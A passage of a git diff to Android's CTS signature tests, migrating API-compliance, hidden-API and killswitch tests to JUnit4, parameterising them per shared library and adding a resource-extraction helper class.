+            getSupplierOfAMandatoryCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+
+    protected static final Supplier<String[]> PREVIOUS_API_FILES =
+            getSupplierOfAMandatoryCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
 
     private static final String TAG = SignatureMultiLibsTest.class.getSimpleName();
 
     /**
-     * Tests that the device's API matches the expected set defined in xml.
-     * <p/>
-     * Will check the entire API, and then report the complete list of failures
+     * A memoized supplier of the list of shared libraries on the device.
      */
-    public void testSignature() {
-        runWithTestResultObserver(mResultObserver -> {
+    protected static final Supplier<Set<String>> AVAILABLE_SHARED_LIBRARIES =
+            Suppliers.memoize(SignatureMultiLibsTest::retrieveActiveSharedLibraries)::get;
 
+    private static final String SHARED_LIBRARY_LIST_RESOURCE_NAME = "shared-libs-names.txt";
+
+    /**
+     * Retrieve the names of the shared libraries that are active on the device.
+     *
+     * @return The set of shared library names.
+     */
+    private static Set<String> retrieveActiveSharedLibraries() {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = instrumentation.getTargetContext();
+
+        List<SharedLibraryInfo> sharedLibraries =
+                context.getPackageManager().getSharedLibraries(0);
+
+        Set<String> sharedLibraryNames = new TreeSet<>();
+        for (SharedLibraryInfo sharedLibrary : sharedLibraries) {
+            String name = sharedLibrary.getName();
+            sharedLibraryNames.add(name);
+            Log.d(TAG, String.format("Found library: %s%n", name));
+        }
+
+        return sharedLibraryNames;
+    }
+
+    /**
+     * A memoized supplier of the list of shared libraries that this can test.
+     */
+    protected static final Supplier<List<String>> TESTABLE_SHARED_LIBRARIES =
+            Suppliers.memoize(SignatureMultiLibsTest::retrieveTestableSharedLibraries)::get;
+
+    /**
+     * Retrieve the names of the shared libraries that are testable by this test.
+     *
+     * @return The set of shared library names.
+     */
+    private static List<String> retrieveTestableSharedLibraries() {
+        ClassLoader classLoader = SignatureMultiLibsTest.class.getClassLoader();
+        try (InputStream is = classLoader.getResourceAsStream(SHARED_LIBRARY_LIST_RESOURCE_NAME)) {
+            if (is == null) {
+                throw new RuntimeException(
+                        "Resource " + SHARED_LIBRARY_LIST_RESOURCE_NAME + " could not be found");
+            }
+
+            try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))) {
+                return reader.lines()
+                        .filter(line -> !line.isEmpty())
+                        .sorted()
+                        .collect(Collectors.toList());
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("Could not retrieve testable shared libraries", e);
+        }
+    }
+
+    /**
+     * Convert the list of testable shared libraries into a form suitable for parameterizing a test.
+     */
+    public Object[][] getTestableSharedLibraryParameters() {
+        List<String> libraries = TESTABLE_SHARED_LIBRARIES.get();
+        Object[][] params = new Object[libraries.size()][1];
+        for (int i = 0; i < libraries.size(); i++) {
+            String name = libraries.get(i);
+            TestableLibraryParameter param = new TestableLibraryParameter(name);
+            params[i][0] = param;
+        }
+        return params;
+    }
+
+    /**
+     * Skips the test if the supplied library is unavailable on the device.
+     *
+     * <p>If the library is unavailable then this throws an
+     * {@link org.junit.AssumptionViolatedException}.</p>
+     *
+     * @param library the name of the library that needs to be available.
+     */
+    private void skipTestIfLibraryIsUnavailable(String library) {
+        Assume.assumeTrue("Shared library " + library + " is not available on this device",
+                AVAILABLE_SHARED_LIBRARIES.get().contains(library));
+    }
+
+    /**
+     * Return a stream of {@link JDiffClassDescription} that are expected to be provided by the
+     * shared libraries which are installed on this device.
+     *
+     * @param apiDocumentParser the parser to use.
+     * @param apiResources the list of API resource files.
+     * @param library the name of the library whose APIs should be parsed.
+     * @return a stream of {@link JDiffClassDescription}.
+     */
+    private Stream<JDiffClassDescription> parseActiveSharedLibraryApis(
+            ApiDocumentParser apiDocumentParser, String[] apiResources, String library) {
+
+        return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
+                .filter(path -> {
+                    String apiLibraryName = getLibraryNameFromPath(path);
+                    return apiLibraryName.equals(library);
+                })
+                .flatMap(apiDocumentParser::parseAsStream);
+    }
+
+    /**
+     * Tests that each shared library's API matches its current API.
+     *
+     * <p>One test per shared library, checks the entire API, and then reports the complete list of
+     * failures.</p>
+     */
+    @Test
+    // Parameterize this method with the set of testable shared libraries.
+    @Parameters(method = "getTestableSharedLibraryParameters")
+    // The test name is the method name followed by and _ and the shared library name, with .s
+    // replaced with _. e.g. testRuntimeCompatibilityWithCurrentApi_android_test_base.
+    @TestCaseName("{method}_{0}")
+    public void testRuntimeCompatibilityWithCurrentApi(TestableLibraryParameter parameter) {
+        String library = parameter.getName();
+        skipTestIfLibraryIsUnavailable(library);
+        runWithTestResultObserver(mResultObserver -> {
             ApiComplianceChecker complianceChecker =
                     new ApiComplianceChecker(mResultObserver, mClassProvider);
 
+            // Load classes from any API files that form the base which the expected APIs extend.
+            loadBaseClasses(complianceChecker);
+
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiResourcesAsStream(apiDocumentParser,
-                    Stream.concat(Arrays.stream(expectedApiFiles), Arrays.stream(previousApiFiles))
-                    .toArray(String[]::new))
+            parseActiveSharedLibraryApis(apiDocumentParser, EXPECTED_API_FILES.get(), library)
                     .forEach(complianceChecker::checkSignatureCompliance);
 
             // After done parsing all expected API files, perform any deferred checks.
@@ -56,23 +204,68 @@
         });
     }
 
-    private Stream<String> getLibraries() {
-        try {
-            String result = runShellCommand(getInstrumentation(), "cmd package list libraries");
-            return Arrays.stream(result.split("\n")).map(line -> line.split(":")[1]);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
+    /**
+     * Tests that each shared library's API matches its previous APIs.
+     *
+     * <p>One test per shared library, checks the entire API, and then reports the complete list of
+     * failures.</p>
+     */
+    @Test
+    // Parameterize this method with the set of testable shared libraries.
+    @Parameters(method = "getTestableSharedLibraryParameters")
+    // The test name is the method name followed by and _ and the shared library name, with .s
+    // replaced with _. e.g. testRuntimeCompatibilityWithPreviousApis_android_test_base.
+    @TestCaseName("{method}_{0}")
+    public void testRuntimeCompatibilityWithPreviousApis(TestableLibraryParameter parameter) {
+        String library = parameter.getName();
+        skipTestIfLibraryIsUnavailable(library);
+        runWithTestResultObserver(mResultObserver -> {
+            ApiComplianceChecker complianceChecker =
+                    new ApiComplianceChecker(mResultObserver, mClassProvider);
+
+            ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+
+            parseActiveSharedLibraryApis(apiDocumentParser, PREVIOUS_API_FILES.get(), library)
+                    .map(clazz -> clazz.setPreviousApiFlag(true))
+                    .forEach(complianceChecker::checkSignatureCompliance);
+
+            // After done parsing all expected API files, perform any deferred checks.
+            complianceChecker.checkDeferred();
+        });
+    }
+
+    /**
+     * Get the library name from the API file's path.
+     *
+     * @param path the path of the API file.
+     * @return the library name for the API file.
+     */
+    private String getLibraryNameFromPath(VirtualPath path) {
+        String name = path.toString();
+        return name.substring(name.lastIndexOf('/') + 1).split("-")[0];
+    }
+
+    /**
+     * A wrapper around a shared library name to ensure that its string representation is suitable
+     * for use in a parameterized test name, i.e. does not contain any characters that are not
+     * allowed in a test name by CTS/AndroidJUnitRunner.
+     */
+    public static class TestableLibraryParameter {
+        private final String name;
+        private final String parameter;
+
+        public TestableLibraryParameter(String name) {
+            this.name = name;
+            this.parameter = name.replace('.', '_');
         }
-    }
 
-    private boolean checkLibrary (String name) {
-        String libraryName = name.substring(name.lastIndexOf('/') + 1).split("-")[0];
-        return getLibraries().anyMatch(libraryName::equals);
-    }
+        public String getName() {
+            return name;
+        }
 
-    @Override
-    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
-        // Only return entries corresponding to shared libraries.
-        return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
+        @Override
+        public String toString() {
+            return parameter;
+        }
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 8ff6d98..b1dd014 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -15,6 +15,7 @@
  */
 package android.signature.cts.api;
 
+import android.app.Instrumentation;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.signature.cts.ApiDocumentParser;
@@ -25,31 +26,33 @@
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ResultObserver;
 import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
-import android.signature.cts.VirtualPath.ResourcePath;
 import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.StandardOpenOption;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.google.common.base.Suppliers;
 import java.util.Collection;
 import java.util.Collections;
-import java.util.EnumSet;
-import java.util.List;
+import java.util.function.Supplier;
 import java.util.stream.Stream;
-import java.util.zip.ZipFile;
-import repackaged.android.test.InstrumentationTestCase;
-import repackaged.android.test.InstrumentationTestRunner;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
 
 /**
+ * Base class for the signature tests.
  */
-public class AbstractApiTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public abstract class AbstractApiTest {
 
-    private static final String TAG = "SignatureTest";
+    /**
+     * The name of the optional instrumentation option that contains the name of the dynamic config
+     * data set that contains the expected failures.
+     */
+    private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
 
     private TestResultObserver mResultObserver;
 
@@ -60,6 +63,15 @@
      */
     private Collection<String> expectedFailures = Collections.emptyList();
 
+    @AfterClass
+    public static void closeResourceStore() {
+        ResourceStore.close();
+    }
+
+    public Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
     protected String getGlobalExemptions() {
         return Settings.Global.getString(
                 getInstrumentation().getContext().getContentResolver(),
@@ -72,14 +84,12 @@
                 Settings.Global.HIDDEN_API_POLICY);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mResultObserver = new TestResultObserver();
 
         // Get the arguments passed to the instrumentation.
-        Bundle instrumentationArgs =
-                ((InstrumentationTestRunner) getInstrumentation()).getArguments();
+        Bundle instrumentationArgs = InstrumentationRegistry.getArguments();
 
         // Check that the device is in the correct state for running this test.
         assertEquals(
@@ -87,10 +97,9 @@
                         Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
                 getExpectedBlocklistExemptions(),
                 getGlobalExemptions());
-        assertEquals(
+        assertNull(
                 String.format("Device in bad state: %s is not as expected",
                         Settings.Global.HIDDEN_API_POLICY),
-                null,
                 getGlobalHiddenApiPolicy());
 
 
@@ -102,17 +111,25 @@
                 new BootClassPathClassesProvider(),
                 name -> name != null && name.startsWith("com.android.internal.R."));
 
+        String dynamicConfigName = instrumentationArgs.getString(DYNAMIC_CONFIG_NAME_OPTION);
+        if (dynamicConfigName != null) {
+            // Get the DynamicConfig.xml contents and extract the expected failures list.
+            DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(dynamicConfigName);
+            Collection<String> expectedFailures = dcds.getValues("expected_failures");
+            initExpectedFailures(expectedFailures);
+        }
+
         initializeFromArgs(instrumentationArgs);
     }
 
     /**
      * Initialize the expected failures.
      *
-     * <p>Call from with {@code #initializeFromArgs}</p>
+     * <p>Call from with {@link #setUp()}</p>
      *
      * @param expectedFailures the expected failures.
      */
-    protected void initExpectedFailures(Collection<String> expectedFailures) {
+    private void initExpectedFailures(Collection<String> expectedFailures) {
         this.expectedFailures = expectedFailures;
         String tag = getClass().getName();
         Log.d(tag, "Expected failure count: " + expectedFailures.size());
@@ -126,7 +143,6 @@
     }
 
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-
     }
 
     protected interface RunnableWithResultObserver {
@@ -145,17 +161,23 @@
                 observer = new ExpectedFailuresFilter(observer, expectedFailures);
             }
             runnable.run(observer);
-        } catch (Exception e) {
-            StringWriter writer = new StringWriter();
-            writer.write(e.toString());
-            writer.write("\n");
-            e.printStackTrace(new PrintWriter(writer));
-            mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getClass().getName(),
-                    writer.toString());
+        } catch (Error|Exception e) {
+            mResultObserver.notifyFailure(
+                    FailureType.CAUGHT_EXCEPTION,
+                    e.getClass().getName(),
+                    "Uncaught exception thrown by test",
+                    e);
         }
         mResultObserver.onTestComplete(); // Will throw is there are failures
     }
 
+    static Supplier<String[]> getSupplierOfAnOptionalCommaSeparatedListArgument(String key) {
+        return Suppliers.memoize(() -> {
+            Bundle arguments = InstrumentationRegistry.getArguments();
+            return getCommaSeparatedListOptional(arguments, key);
+        })::get;
+    }
+
     static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
@@ -164,6 +186,13 @@
         return argument.split(",");
     }
 
+    static Supplier<String[]> getSupplierOfAMandatoryCommaSeparatedListArgument(String key) {
+        return Suppliers.memoize(() -> {
+            Bundle arguments = InstrumentationRegistry.getArguments();
+            return getCommaSeparatedListRequired(arguments, key);
+        })::get;
+    }
+
     static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
@@ -172,63 +201,36 @@
         return argument.split(",");
     }
 
-    private Stream<VirtualPath> readResource(String resourceName) {
-        try {
-            ResourcePath resourcePath =
-                    VirtualPath.get(getClass().getClassLoader(), resourceName);
-            if (resourceName.endsWith(".zip")) {
-                // Extract to a temporary file and read from there.
-                Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
-                return flattenPaths(VirtualPath.get(file.toString()));
-            } else {
-                return Stream.of(resourcePath);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
-        Path tempDirectory = Files.createTempDirectory("signature");
-        Path file = tempDirectory.resolve(resourceName);
-        Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
-        Files.copy(is, file);
-        is.close();
-        return file;
-    }
-
     /**
-     * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
-     * virtual paths.
+     * Create a stream of {@link JDiffClassDescription} by parsing a set of API resource files.
+     *
+     * @param apiDocumentParser the parser to use.
+     * @param apiResources the list of API resource files.
+     *
+     * @return the stream of {@link JDiffClassDescription}.
      */
-    private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
-        try {
-            if (path.toString().endsWith(".zip")) {
-                return getZipEntryFiles(path);
-            } else {
-                return Stream.of(path);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
     Stream<JDiffClassDescription> parseApiResourcesAsStream(
             ApiDocumentParser apiDocumentParser, String[] apiResources) {
-        return Stream.of(apiResources)
-                .flatMap(this::readResource)
+        return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
                 .flatMap(apiDocumentParser::parseAsStream);
     }
 
     /**
-     * Get the zip entries that are files.
+     * Retrieve a stream of {@link VirtualPath} from a list of API resource files.
      *
-     * @param path the path to the zip file.
-     * @return paths to zip entries
+     * <p>Any zip files are flattened, i.e. if a resource name ends with {@code .zip} then it is
+     * unpacked into a temporary directory and the paths to the unpacked files are returned instead
+     * of the path to the zip file.</p>
+     *
+     * @param classLoader the {@link ClassLoader} from which the resources will be loaded.
+     * @param apiResources the list of API resource files.
+     *
+     * @return the stream of {@link VirtualPath}.
      */
-    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
-        @SuppressWarnings("resource")
-        ZipFile zip = new ZipFile(path.toFile());
-        return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+    static Stream<VirtualPath> retrieveApiResourcesAsStream(
+            ClassLoader classLoader,
+            String[] apiResources) {
+        return Stream.of(apiResources)
+                .flatMap(resourceName -> ResourceStore.readResource(classLoader, resourceName));
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
new file mode 100644
index 0000000..6df224fc
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.ApiDocumentParser;
+import java.util.function.Supplier;
+
+/**
+ * Base class of the tests that check accessibility of API signatures at runtime.
+ */
+public class AbstractSignatureTest extends AbstractApiTest {
+
+    private static final String TAG = AbstractSignatureTest.class.getSimpleName();
+
+    /**
+     * The name of the instrumentation option that contains the list of the current API signatures
+     * that are expected to be accessible.
+     */
+    protected static final String EXPECTED_API_FILES_ARG = "expected-api-files";
+
+    /**
+     * The name of the instrumentation option that contains the list of the previous API signatures
+     * that are expected to be accessible.
+     */
+    protected static final String PREVIOUS_API_FILES_ARG = "previous-api-files";
+
+    /**
+     * Supplier of the list of files specified in the instrumentation argument "base-api-files".
+     */
+    private static final Supplier<String[]> BASE_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument("base-api-files");
+
+    /**
+     * Load the base API files into the supplied compliance checker.
+     *
+     * <p>Base API files are not checked by the compliance checker but may be extended by classes
+     * which are checked.</p>
+     *
+     * @param complianceChecker the {@link ApiComplianceChecker} into which the base API will be
+     *                          loaded.
+     */
+    protected void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+        parseApiResourcesAsStream(apiDocumentParser, BASE_API_FILES.get())
+                .forEach(complianceChecker::addBaseClass);
+    }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 10907d0..9cb5fb1 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -23,14 +23,14 @@
 import android.signature.cts.DexMemberChecker;
 import android.signature.cts.DexMethod;
 import android.signature.cts.FailureType;
-import repackaged.android.test.InstrumentationTestRunner;
+import org.junit.Test;
 
 public abstract class BaseKillswitchTest extends AbstractApiTest {
 
     protected String mErrorMessageAppendix;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         DexMemberChecker.init();
     }
@@ -44,18 +44,22 @@
     private final static Predicate<DexMember> FIELD_FILTER =
             dexMember -> (dexMember instanceof DexField);
 
+    @Test
     public void testKillswitchMechanismMethodsThroughReflection() {
         doTestKillswitchMechanism(METHOD_FILTER, /* reflection= */ true, /* jni= */ false);
     }
 
+    @Test
     public void testKillswitchMechanismMethodsThroughJni() {
         doTestKillswitchMechanism(METHOD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
 
+    @Test
     public void testKillswitchMechanismFieldsThroughReflection() {
         doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
     }
 
+    @Test(timeout = 900000)
     public void testKillswitchMechanismFieldsThroughJni() {
         doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java
index 7a5e900..84fabca 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassKillswitchTest.java
@@ -18,9 +18,11 @@
 
 import android.signature.cts.DexMemberChecker;
 
+import static org.junit.Assert.assertTrue;
+
 public class DebugClassKillswitchTest extends BaseKillswitchTest {
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mErrorMessageAppendix = " to exempted DexMemberChecker class";
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 97ae404..1635da7 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -25,36 +25,46 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.VirtualPath;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.google.common.base.Suppliers;
+
+import org.junit.Test;
+
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.text.ParseException;
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.function.Predicate;
+import java.util.function.Supplier;
 
 /**
  * Checks that it is not possible to access hidden APIs.
  */
 public class HiddenApiTest extends AbstractApiTest {
 
-    private String[] hiddenapiFiles;
+    private static final String HIDDENAPI_FILES_ARG = "hiddenapi-files";
+    private static final String HIDDENAPI_FILTER_FILE_ARG = "hiddenapi-filter-file";
+    private static final String HIDDENAPI_TEST_FLAGS_ARG = "hiddenapi-test-flags";
+
+    private static final Supplier<List<DexMember>> DEX_MEMBERS = getSupplierOfDexMembers();
+
     private String[] hiddenapiTestFlags;
-    private String hiddenapiFilterFile;
-    private Set<String> hiddenapiFilterSet;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
-        hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
-        hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
-        hiddenapiFilterSet = new HashSet<>();
+        hiddenapiTestFlags =
+                getCommaSeparatedListOptional(instrumentationArgs, HIDDENAPI_TEST_FLAGS_ARG);
     }
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         DexMemberChecker.init();
-        loadFilters();
     }
 
     // We have four methods to split up the load, keeping individual test runs small.
@@ -65,18 +75,22 @@
     private final static Predicate<DexMember> FIELD_FILTER =
             dexMember -> (dexMember instanceof DexField);
 
+    @Test(timeout = 120000)
     public void testSignatureMethodsThroughReflection() {
         doTestSignature(METHOD_FILTER,/* reflection= */ true, /* jni= */ false);
     }
 
+    @Test
     public void testSignatureMethodsThroughJni() {
         doTestSignature(METHOD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
 
+    @Test
     public void testSignatureFieldsThroughReflection() {
         doTestSignature(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
     }
 
+    @Test
     public void testSignatureFieldsThroughJni() {
         doTestSignature(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
@@ -144,24 +158,12 @@
                 }
             };
 
-            for (String apiFile : hiddenapiFiles) {
-                VirtualPath.ResourcePath resourcePath =
-                        VirtualPath.get(getClass().getClassLoader(), apiFile);
-                BufferedReader reader = new BufferedReader(
-                        new InputStreamReader(resourcePath.newInputStream()));
-                int lineIndex = 1;
-                String line = reader.readLine();
-                while (line != null) {
-                    DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
-                    if (memberFilter.test(dexMember) && shouldTestMember(dexMember)
-                            && !isFiltered(line)) {
-                        DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
-                                observer);
-                    }
-                    line = reader.readLine();
-                    lineIndex++;
-                }
-            }
+            List<DexMember> dexMembers = DEX_MEMBERS.get();
+            dexMembers.parallelStream()
+                    .filter(memberFilter)
+                    .filter(m -> shouldTestMember(m))
+                    .forEach(
+                            m -> DexMemberChecker.checkSingleMember(m, reflection, jni, observer));
         });
     }
 
@@ -190,7 +192,7 @@
      * @param line is the line from the hiddenapi-flags.csv indicating which method/field to check
      * @return true if the method/field is to be filtered out, false otherwise
      */
-    private boolean isFiltered(String line) {
+    private static boolean isFiltered(String line, Set<String> hiddenapiFilterSet) {
         if (line == null) {
             return false;
         }
@@ -201,24 +203,71 @@
 
     /**
      * Loads the filter file and inserts each line of the file into a Set
-     *
-     * @throws IOException if the filter file does not exist
      */
-    private void loadFilters() throws IOException {
+    static Set<String> loadFilters(String hiddenapiFilterFile) {
         // Avoids testing members in filter file (only a single filter file can be supplied)
+        Set<String> hiddenapiFilterSet = new HashSet<>();
         if (hiddenapiFilterFile != null) {
-            VirtualPath.ResourcePath resourcePath =
-                    VirtualPath.get(getClass().getClassLoader(), hiddenapiFilterFile);
-            BufferedReader reader = new BufferedReader(
-                    new InputStreamReader(resourcePath.newInputStream()));
-            String filterFileLine = reader.readLine();
-            while (filterFileLine != null) {
-                if (!filterFileLine.startsWith("#")) {
-                    hiddenapiFilterSet.add(filterFileLine);
+            try {
+                VirtualPath.ResourcePath resourcePath =
+                        VirtualPath.get(HiddenApiTest.class.getClassLoader(), hiddenapiFilterFile);
+                BufferedReader reader =
+                        new BufferedReader(new InputStreamReader(resourcePath.newInputStream()));
+                String filterFileLine = reader.readLine();
+                while (filterFileLine != null) {
+                    if (!filterFileLine.startsWith("#")) {
+                        hiddenapiFilterSet.add(filterFileLine);
+                    }
+                    filterFileLine = reader.readLine();
                 }
-                filterFileLine = reader.readLine();
+            } catch (IOException ioe) {
+                throw new RuntimeException("Failed to load filters", ioe);
             }
         }
+        return hiddenapiFilterSet;
     }
 
+    /**
+     * Reads DEX method and fields from hiddenapi files.
+     *
+     * <p>This method is expensive, it typically takes ~10s to run.
+     *
+     * @return a list of {@link DexMember} objects for the fields and methods in the hiddenapi files
+     */
+    private static List<DexMember> readDexMembers() {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final String hiddenapiFilterFile = arguments.getString(HIDDENAPI_FILTER_FILE_ARG);
+        final String[] hiddenapiFiles =
+                getCommaSeparatedListRequired(arguments, HIDDENAPI_FILES_ARG);
+        final Set<String> hiddenapiFilterSet = loadFilters(hiddenapiFilterFile);
+        ArrayList<DexMember> dexMembers = new ArrayList<>();
+        for (String apiFile : hiddenapiFiles) {
+            try {
+                VirtualPath.ResourcePath resourcePath =
+                        VirtualPath.get(HiddenApiTest.class.getClassLoader(), apiFile);
+                try (BufferedReader reader =
+                        new BufferedReader(
+                                new InputStreamReader(resourcePath.newInputStream()),
+                                1024 * 1024)) {
+                    int lineIndex = 1;
+                    String line = reader.readLine();
+                    while (line != null) {
+                        DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+                        if (!isFiltered(line, hiddenapiFilterSet)) {
+                            dexMembers.add(dexMember);
+                        }
+                        line = reader.readLine();
+                        lineIndex++;
+                    }
+                }
+            } catch (IOException | ParseException e) {
+                throw new RuntimeException("Failed to read DEX members", e);
+            }
+        }
+        return dexMembers;
+    }
+
+    static Supplier<List<DexMember>> getSupplierOfDexMembers() {
+        return Suppliers.memoize(() -> readDexMembers())::get;
+    }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
new file mode 100644
index 0000000..722ea63
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.VirtualPath;
+import android.util.Log;
+import com.google.common.base.Suppliers;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.function.Supplier;
+import java.util.stream.Stream;
+import java.util.zip.ZipFile;
+
+/**
+ * Manages local storage of resources that need to be extracted from the Jar into the local
+ * filesystem before use.
+ */
+public class ResourceStore {
+
+    private static final String TAG = ResourceStore.class.getSimpleName();
+
+    /**
+     * Supplier for the temporary directory.
+     */
+    private static final Supplier<Path> TEMPORARY_DIRECTORY = Suppliers.memoize(() -> {
+        try {
+            return Files.createTempDirectory("signature");
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    })::get;
+
+    /**
+     * A map from a {@link VirtualPath} to a {@link ZipFile} for zip file resources that
+     * have been extracted from the jar into the local file system.
+     */
+    private static final Map<VirtualPath, ZipFile> extractedZipFiles = new HashMap<>();
+
+    public static Stream<VirtualPath> readResource(ClassLoader classLoader, String resourceName) {
+        try {
+            VirtualPath resourcePath = VirtualPath.get(classLoader, resourceName);
+            if (resourceName.endsWith(".zip")) {
+                // Extract to a temporary file and then read from there. If the resource has already
+                // been extracted before then reuse the previous file.
+                @SuppressWarnings("resource")
